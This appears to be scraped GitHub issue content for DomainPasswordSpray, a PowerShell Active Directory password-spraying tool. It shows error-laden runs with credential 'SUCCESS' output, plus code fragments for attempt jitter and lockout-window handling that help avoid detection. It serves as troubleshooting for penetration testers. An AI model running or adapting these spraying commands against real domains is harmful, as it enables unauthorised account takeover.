dafthack / domainpasswordspray Goto Github PK

PS C:\Tools> Import-Module .\DomainPasswordSpray\DomainPasswordSpray.ps1

At C:\Tools\DomainPasswordSpray\DomainPasswordSpray.ps1:261 char:21
+         Write-Host "$Message: Waiting for $($Seconds/60) minutes. $($ ...
+                     ~~~~~~~~~
Variable reference is not valid. ':' was not followed by a valid variable name character. Consider using ${} to delimit the
name.
    + CategoryInfo          : ParserError: (:) [], ParseException
    + FullyQualifiedErrorId : InvalidVariableReferenceWithDrive

PS C:\Users\<snip>\Desktop\DomainPasswordSpray> Invoke-DomainPasswordSpray -UserList userlist.txt -Domain <snip> -PasswordList passlist.txt -OutFile sprayed-creds.txt
[*] Using userlist.txt as userlist to spray with
[*] Warning: Users will not be checked for lockout threshold.
[*] WARNING - Be very careful not to lock out accounts with the password list option!
Cannot index into a null array.
At C:\Users\<snip>\Desktop\DomainPasswordSpray\DomainPasswordSpray.ps1:538 char:5
+     $lockObservationWindow_attr = $DomainEntry.Properties['lockoutObs ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : NullArray

Method invocation failed because [System.String] does not contain a method named 'ConvertLargeIntegerToInt64'.
At C:\Users\<snip>\Desktop\DomainPasswordSpray\DomainPasswordSpray.ps1:539 char:5
+     $observation_window = $DomainEntry.ConvertLargeIntegerToInt64($lo ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : MethodNotFound

[*] The domain password policy observation window is set to  minutes.
[*] Setting a  minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against <snip> accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): y
[*] Password spraying has begun with  27  passwords
[*] This might take a while depending on the total number of users
[*] Now trying password <snip> against <snip> users. Current time is 10:41 AM
[*] Writing successes to sprayed-creds.txt
[*] SUCCESS! User:<snip> Password:<snip>
Attempted to divide by zero.
At C:\Users\<snip>\Desktop\DomainPasswordSpray\DomainPasswordSpray.ps1:245 char:96
+ ... atus "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) second ...
+                                                 ~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], RuntimeException
    + FullyQualifiedErrorId : RuntimeException

Attempted to divide by zero.
At C:\Users\<snip>\Desktop\DomainPasswordSpray\DomainPasswordSpray.ps1:245 char:96
+ ... atus "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) second ...
+                                                 ~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], RuntimeException
    + FullyQualifiedErrorId : RuntimeException

[*] Now trying password <snip>! against <snip> users. Current time is 11:06 AM
[*] Writing successes to sprayed-creds.txt

PS C:\Users\<snip>\Desktop\DomainPasswordSpray> ^C
PS C:\Users\<snip>\Desktop\DomainPasswordSpray> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      5.1.17763.1490
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.17763.1490
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1

$jitterFactor = (Get-Random -Minimum (-$JitterPercentage) -Maximum $JitterPercentage) / 100.0
$baseDelay = Get-Random -Minimum $MinDelay -Maximum $MaxDelay
$delay = [math]::Round($baseDelay * (1 + $jitterFactor))

return $delay

PS C:\Users\USER\Desktop\DomainPasswordSpray-master> Invoke-DomainPasswordSpray -UserList C:\Users\USER\Desktop\single_user.txt -PasswordList C:\Users\USER\Desktop\single_pass.txt -OutFile C:\Users\USER\Desktop\results.txt -Debug
[*] Using C:\Users\USER\Desktop\single_user.txt as userlist to spray with
[*] Warning: Users will not be checked for lockout threshold.
[*] The domain password policy observation window is set to 30 minutes.
[*] Setting a 30 minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against 1 accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): y
[*] Password spraying has begun with  1  passwords
[*] This might take a while depending on the total number of users
[*] Now trying password " against 1 users. Current time is 11:36 AM
[*] Writing successes to C:\Users\USER\Desktop\results.txt
[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to C:\Users\USER\Desktop\results.txt

PS C:\Users\USER\Desktop\DomainPasswordSpray-master> Invoke-DomainPasswordSpray -UserList C:\Users\USER\Desktop\single_user.txt -Password "a soapsud Touts the climber3" -OutFile C:\Users\USER\Desktop\results.txt
[*] Using C:\Users\USER\Desktop\single_user.txt as userlist to spray with
[*] Warning: Users will not be checked for lockout threshold.
[*] The domain password policy observation window is set to 30 minutes.
[*] Setting a 30 minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against 1 accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): y
[*] Password spraying has begun with  1  passwords
[*] This might take a while depending on the total number of users
[*] Now trying password a soapsud Touts the climber3 against 1 users. Current time is 11:37 AM
[*] Writing successes to C:\Users\USER\Desktop\results.txt
[*] SUCCESS! User:USER Password:a soapsud Touts the climber3
[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to C:\Users\USER\Desktop\results.txt

$DirEntry = New-Object System.DirectoryServices.DirectoryEntry
$UserSearcher.SearchRoot = $DirEntry

function Get-ObservationWindow($DomainEntry)
{
    # Check if $DomainEntry is null
    if ($null -eq $DomainEntry) {
        Write-Host "Error: DomainEntry is null."
        return $null
    }

    # Check if 'Properties' exists and is not null
    if ($null -eq $DomainEntry.Properties) {
        Write-Host "Error: Properties is null."
        return $null
    }

    # Check if 'lockoutObservationWindow' exists in the object's properties
    if ($DomainEntry.Properties.ContainsKey('lockoutObservationWindow')) {
        # Get the value of the 'lockoutObservationWindow' attribute
        $lockObservationWindow_attr = $DomainEntry.Properties['lockoutObservationWindow']

        # Check if the attribute has an assigned value
        if ($null -ne $lockObservationWindow_attr -and $lockObservationWindow_attr.Count -gt 0) {
            # Convert the value from LargeInteger to TimeSpan
            $observation_window = [System.TimeSpan]::FromTicks($lockObservationWindow_attr.Value)

            # Return the observation window in minutes
            return $observation_window.TotalMinutes
        } else {
            Write-Host "lockoutObservationWindow attribute has no value."
            return $null
        }
    } else {
        Write-Host "lockoutObservationWindow attribute not found."
        return $null
    }
}